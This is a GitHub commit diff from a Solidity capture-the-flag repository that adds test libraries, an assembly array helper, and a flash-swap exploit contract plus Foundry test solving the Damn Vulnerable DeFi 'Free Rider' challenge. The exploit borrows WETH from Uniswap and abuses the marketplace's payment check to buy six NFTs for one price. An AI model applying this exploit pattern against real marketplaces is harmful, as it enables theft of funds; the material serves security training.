Skip to content

Commit

Permalink
a
Browse files Browse the repository at this point in the history
  • Loading branch information
6boris committed Oct 15, 2023
1 parent b370aa8 commit 1b29536
Show file tree
Hide file tree
Showing 8 changed files with 226 additions and 36 deletions.
9 changes: 9 additions & 0 deletions .gitmodules
Original file line number Diff line number Diff line change
Expand Up @@ -88,3 +88,12 @@
[submodule "foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1"]
path = foundry/lib/@openzeppelin/contracts-upgradeable-v4.7.1
url = https://github.com/OpenZeppelin/openzeppelin-contracts-upgradeable
[submodule "foundry/lib/@dev/forge-std"]
path = foundry/lib/@dev/forge-std
url = https://github.com/foundry-rs/forge-std
[submodule "foundry/lib/@dev/prb-test"]
path = foundry/lib/@dev/prb-test
url = https://github.com/PaulRBerg/prb-test
[submodule "foundry/lib/@dev/ds-test"]
path = foundry/lib/@dev/ds-test
url = https://github.com/dapphub/ds-test
4 changes: 4 additions & 0 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -54,6 +54,10 @@ git submodule add https://github.com/safe-global/safe-contracts foundry/lib/safe



git submodule add https://github.com/foundry-rs/forge-std foundry/lib/@dev/forge-std
git submodule add https://github.com/PaulRBerg/prb-test foundry/lib/@dev/prb-test
git submodule add https://github.com/dapphub/ds-test foundry/lib/@dev/ds-test


git submodule add https://github.com/Uniswap/v2-core foundry/lib/@uniswap/v2-core
git submodule add https://github.com/Uniswap/v2-periphery foundry/lib/@uniswap/v2-periphery
Expand Down
Original file line number Diff line number Diff line change
@@ -1,12 +1,21 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { console2 } from "@dev/forge-std/src/console2.sol";

import { Address } from "@openzeppelin/contracts-v4.7.1/utils/Address.sol";
import { ReentrancyGuard } from "@openzeppelin/contracts-v4.7.1/security/ReentrancyGuard.sol";
import { IERC721 } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721.sol";
import { IERC721Receiver } from "@openzeppelin/contracts-v4.7.1/token/ERC721/IERC721Receiver.sol";
import { DamnValuableNFT } from "../00.Base/DamnValuableNFT.sol";

import { IUniswapV2Callee } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Callee.sol";
import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";

/**
* @title FreeRiderNFTMarketplace
* @author Damn Vulnerable DeFi (https://damnvulnerabledefi.xyz)
*/
contract FreeRiderNFTMarketplace is ReentrancyGuard {
using Address for address payable;

Expand Down Expand Up @@ -39,7 +48,7 @@ contract FreeRiderNFTMarketplace is ReentrancyGuard {
token = _token;
}

function offerMany(uint256[] calldata tokenIds, uint256[] calldata prices) external nonReentrant {
function offerMany(uint256[] memory tokenIds, uint256[] memory prices) external nonReentrant {
uint256 amount = tokenIds.length;
if (amount == 0) {
revert InvalidTokensAmount();
Expand Down Expand Up @@ -199,3 +208,63 @@ interface IWETH {
event Deposit(address indexed dst, uint256 amount);
event Withdrawal(address indexed src, uint256 amount);
}

interface IMarketplace {
function buyMany(uint256[] calldata tokenIds) external payable;
}

contract FreeRiderHack is IUniswapV2Callee {
IUniswapV2Pair private immutable pair;
FreeRiderNFTMarketplace private immutable marketplace;

IWETH private immutable weth;
IERC721 private immutable nft;

address private immutable recoveryContract;
address private immutable player;

uint256 private constant NFT_PRICE = 15 ether;
uint256[] private tokens = [0, 1, 2, 3, 4, 5];

constructor(address _pair, address payable _marketplace, address _weth, address _nft, address _recoveryContract) {
pair = IUniswapV2Pair(_pair);
marketplace = FreeRiderNFTMarketplace(_marketplace);
weth = IWETH(_weth);
nft = IERC721(_nft);
recoveryContract = _recoveryContract;
player = msg.sender;
}

function attack() external payable {
// 1. Request a flashSwap of 15 WETH from Uniswap Pair
pair.swap(0, NFT_PRICE, address(this), abi.encode(NFT_PRICE));
}

function uniswapV2Call(address, uint256, uint256, bytes calldata) external {
// 1.Access Control
require(msg.sender == address(pair), "Only Uniswap Pair Can call");

// 2. Unwrap WETH to native ETH
weth.withdraw(NFT_PRICE);

console2.log(address(this).balance);
// 3. Buy 6 NFTS for only 15 ETH total
marketplace.buyMany{ value: NFT_PRICE }(tokens);

// // 4. Pay back 15WETH + 0.3% to the pair contract
uint256 amountToPayBack = NFT_PRICE * 1004 / 1000;
weth.deposit{ value: amountToPayBack }();
weth.transfer(address(pair), amountToPayBack);

// // 5. Send NFTs to recovery contract so we can get the bounty
for (uint256 i; i < tokens.length; i++) {
nft.safeTransferFrom(address(this), recoveryContract, i, abi.encode(player));
}
}

function onERC721Received(address, address, uint256, bytes memory) external pure returns (bytes4) {
return IERC721Receiver.onERC721Received.selector;
}

receive() external payable { }
}
44 changes: 44 additions & 0 deletions contracts/Utils/Array.sol
Original file line number Diff line number Diff line change
@@ -0,0 +1,44 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

library Array {
function push(uint256[] memory _nums, uint256 _num) internal pure {
assembly {
// 在可变数组的 末尾追加 一个value (_num)
mstore(add(_nums, mul(add(mload(_nums), 1), 0x20)), _num)
// 可变数组的length 加 1
mstore(_nums, add(mload(_nums), 1))
// 0x40 是空闲内存指针的预定义位置 (value 为 空闲指针开始位)
mstore(0x40, add(mload(0x40), 0x20))
}
}

function pop(uint256[] memory _nums) internal pure returns (uint256 num_) {
assembly {
// 取出可变数组的最后一个value
num_ := mload(add(_nums, mul(mload(_nums), 0x20)))
// length - 1
mstore(_nums, sub(mload(_nums), 1))
}
}

function del(uint256[] memory _nums, uint256 _index) internal pure {
assembly {
// 下标位置需 小于 数组.length
if lt(_index, mload(_nums)) {
// 将最后一个value 移到 _index 下标处
mstore(add(_nums, mul(add(_index, 1), 0x20)), mload(add(_nums, mul(mload(_nums), 0x20))))
// length - 1
mstore(_nums, sub(mload(_nums), 1))
}
}
}

function update(uint256[] memory _nums, uint256 _index, uint256 _num) internal pure {
_nums[_index] = _num;
}

function get(uint256[] memory _nums, uint256 _index) internal pure returns (uint256) {
return _nums[_index];
}
}
1 change: 1 addition & 0 deletions foundry/lib/@dev/ds-test
Submodule ds-test added at e28215
1 change: 1 addition & 0 deletions foundry/lib/@dev/forge-std
Submodule forge-std added at f73c73
1 change: 1 addition & 0 deletions foundry/lib/@dev/prb-test
Submodule prb-test added at 2ece87
131 changes: 96 additions & 35 deletions foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol
Original file line number Diff line number Diff line change
@@ -1,97 +1,158 @@
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import { Test } from "forge-std/Test.sol";
import { PRBTest } from "@prb/test/PRBTest.sol";
import { Vm } from "forge-std/Vm.sol";
import { Test } from "@dev/forge-std/src/Test.sol";
import { console2 } from "@dev/forge-std/src/console2.sol";
import { PRBTest } from "@dev/prb-test/src/PRBTest.sol";
import { Vm } from "@dev/forge-std/src/Vm.sol";
import { Array } from "@contracts/Utils/Array.sol";

import { DamnValuableToken } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnVulnerableDeFi.sol";
import { DamnValuableNFT } from "@contracts/CTF/Damn-Vulnerable-DeFi/00.Base/DamnValuableNFT.sol";
import {
IWETH,
FreeRiderNFTMarketplace,
FreeRiderRecovery
FreeRiderRecovery,
FreeRiderHack,
IWETH
} from "@contracts/CTF/Damn-Vulnerable-DeFi/10.Free-Rider/10.Free-Rider.sol";
import { IUniswapV2Router02 } from "@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Factory } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol";
import { IUniswapV2Pair } from "@uniswap/v2-core/contracts/interfaces/IUniswapV2Pair.sol";
import { WETH } from "@solmate/tokens/WETH.sol";

/*
forge test --match-path foundry/test/CTF/Damn-Vulnerable-DeFi/10.Free-Rider.t.sol -vvvvv
*/

contract Free_Rider_10_Test is PRBTest {
contract Challenge_10_Free_Rider_Test is PRBTest {
// hacking attack address
address private deployer = address(1);
address private devs = address(2);
address private player = address(2333);

// Mainnet cntracts
// https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code
IWETH private weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
// https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code
IUniswapV2Router02 private uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code
IUniswapV2Factory private uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
DamnValuableToken private token;
DamnValuableNFT private nft;
FreeRiderNFTMarketplace private marketplace;
FreeRiderRecovery private devsContract;

// The NFT marketplace will have 6 tokens, at 15 ETH each
uint256 NFT_PRICE = 15 ether;
uint256 AMOUNT_OF_NFTS = 6;
uint256 constant AMOUNT_OF_NFTS = 6;
uint256 MARKETPLACE_INITIAL_ETH_BALANCE = 90 ether;
uint256 PLAYER_INITIAL_ETH_BALANCE = 0.1 ether;
uint256 BOUNTY = 45 ether;
// Initial reserves for the Uniswap v2 pool
uint256 UNISWAP_INITIAL_TOKEN_RESERVE = 15_000 ether;
uint256 UNISWAP_INITIAL_WETH_RESERVE = 15_000 ether;
uint256 UNISWAP_INITIAL_WETH_RESERVE = 9000 ether;

IWETH private weth;
IUniswapV2Router02 private uniswapRouter;
IUniswapV2Factory private uniswapFactory;
IUniswapV2Pair private uniswapPair;
DamnValuableToken private token;
DamnValuableNFT private nft;
FreeRiderNFTMarketplace private marketplace;
FreeRiderRecovery private devsContract;

uint256[] private _offerManyTokenIds;
uint256[] private _offerManyPrices;

function setUp() public {
vm.startPrank(deployer);
// vm.startPrank(deployer);
vm.createSelectFork({ urlOrAlias: "mainnet" });
vm.deal(deployer, type(uint256).max);
vm.deal(devs, type(uint256).max);
_before();
vm.stopPrank();
// vm.stopPrank();
}

function _before() public {
/* SETUP SCENARIO - NO NEED TO CHANGE ANYTHING HERE */
vm.createSelectFork({ urlOrAlias: "mainnet", blockNumber: 18_348_539 });
weth.deposit{ value: 1 ether }();

// Player starts with limited ETH balance
vm.deal(player, PLAYER_INITIAL_ETH_BALANCE);
assertEq(player.balance, PLAYER_INITIAL_ETH_BALANCE);
// Deploy WETH
// https://etherscan.io/token/0xc02aaa39b223fe8d0a0e5c4f27ead9083c756cc2#code
weth = IWETH(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);

// Deploy token to be traded against WETH in Uniswap v2
token = new DamnValuableToken();
weth.deposit{ value: 1 ether }();
weth.balanceOf(deployer);

// Deploy Uniswap Factory and Router
// https://etherscan.io/address/0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D#code
uniswapFactory = IUniswapV2Factory(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f);
// https://etherscan.io/address/0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f#code
uniswapRouter = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
// Approve tokens, and then create Uniswap v2 pair against WETH and add liquidity
// The function takes care of deploying the pair automatically
token.approve(address(uniswapRouter), UNISWAP_INITIAL_TOKEN_RESERVE);
uniswapRouter.addLiquidityETH{ value: UNISWAP_INITIAL_WETH_RESERVE }(
address(token), UNISWAP_INITIAL_TOKEN_RESERVE, 0, 0, deployer, block.timestamp * 2
);

// Get a reference to the created Uniswap pair
uniswapPair = IUniswapV2Pair(uniswapFactory.getPair(address(token), address(weth)));

assertEq(uniswapPair.token0(), address(token), "");
assertEq(uniswapPair.token1(), address(weth), "");
assertGt(uniswapPair.balanceOf(deployer), 0, "");
vm.startPrank(deployer);
// Deploy the marketplace and get the associated ERC721 token
// The marketplace will automatically mint AMOUNT_OF_NFTS to the deployer (see
marketplace = new FreeRiderNFTMarketplace{ value: MARKETPLACE_INITIAL_ETH_BALANCE }(AMOUNT_OF_NFTS);

// Deploy nft
nft = new DamnValuableNFT();
assertEq(nft.owner(), address(deployer), "");
// Deploy NFT contract
nft = DamnValuableNFT(marketplace.token());
assertEq(nft.owner(), address(0), "");
assertEq(nft.rolesOf(address(marketplace)), nft.MINTER_ROLE(), "");

// Ensure deployer owns all minted NFTs. Then approve the marketplace to trade them.
for (uint256 id = 1; id < AMOUNT_OF_NFTS; id++) {
// assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)");
assertEq(nft.ownerOf(id), deployer, "nft.ownerOf(id)");
}
nft.setApprovalForAll(address(marketplace), true);
// marketplace.offerMany([0, 1, 2, 3, 4, 5], [NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE, NFT_PRICE,
// NFT_PRICE]);
devsContract = new FreeRiderRecovery{ value: BOUNTY }(player, address(nft));
// Open offers in the marketplace
for (uint256 id = 0; id < AMOUNT_OF_NFTS; id++) {
_offerManyTokenIds.push(id);
_offerManyPrices.push(NFT_PRICE);
}
marketplace.offerMany(_offerManyTokenIds, _offerManyPrices);

// Deploy devs' contract, adding the player as the beneficiary
// mock player => tx.origin
vm.startPrank(devs);
devsContract = new FreeRiderRecovery{ value: BOUNTY }(tx.origin, address(nft));
vm.stopPrank();
}

function test_Exploit() public {
vm.startPrank(player);
/* START CODE YOUR SOLUTION HERE */

// ...
FreeRiderHack hackInst =
new FreeRiderHack(address(uniswapPair), payable(marketplace), address(weth), address(nft), address(devsContract));
(bool isSuccess,) = address(hackInst).call{ value: player.balance }("");
assertEq(isSuccess, true, "");
hackInst.attack();

/* END CODE YOUR SOLUTION */
vm.stopPrank();

_after();
}

function _after() public {
/* SUCCESS CONDITIONS - NO NEED TO CHANGE ANYTHING HERE */
vm.startPrank(devs);

// The devs extract all NFTs from its associated contract
for (uint256 tokenId = 0; tokenId < AMOUNT_OF_NFTS; tokenId++) {
// nft.transferFrom(address(devsContract), devs, tokenId);
// assertEq(nft.ownerOf(tokenId), devs, "");
nft.transferFrom(address(devsContract), devs, tokenId);
assertEq(nft.ownerOf(tokenId), devs, "");
}

// Exchange must have lost NFTs and ETH
assertEq(marketplace.offersCount(), 0, "");

// Player must have earned all ETH
assertLt(address(marketplace).balance, MARKETPLACE_INITIAL_ETH_BALANCE, "");
assertEq(address(devsContract).balance, 0, "");
vm.stopPrank();
Expand Down

0 comments on commit 1b29536

Please sign in to comment.